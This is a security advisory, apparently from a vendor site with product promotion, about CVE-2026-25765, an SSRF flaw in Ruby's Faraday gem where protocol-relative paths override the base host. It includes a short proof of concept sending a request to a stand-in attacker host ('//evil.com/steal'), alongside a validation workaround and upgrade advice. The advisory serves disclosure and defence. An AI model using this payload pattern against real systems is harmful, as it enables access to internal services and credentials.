Summary
Faraday affected by SSRF via protocol-relative URL host override in buildexclusiveurl
Full technical description
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-25765 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.14.1, 1.10.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Frequently Asked Questions
- What is CVE-2026-25765? CVE-2026-25765 is a medium-severity server-side request forgery (SSRF) vulnerability in faraday (rubygems), affecting versions >= 2.0.0, <= 2.14.0. It is fixed in 2.14.1, 1.10.5. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-25765? CVE-2026-25765 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of faraday are affected by CVE-2026-25765? faraday (rubygems) versions >= 2.0.0, <= 2.14.0 is affected.
- Is there a fix for CVE-2026-25765? Yes. CVE-2026-25765 is fixed in 2.14.1, 1.10.5. Upgrade to this version or later.
- Is CVE-2026-25765 exploitable, and should I be worried? Whether CVE-2026-25765 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-25765 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-25765?
- Upgrade
faradayto 2.14.1 or later - Upgrade
faradayto 1.10.5 or later
- Upgrade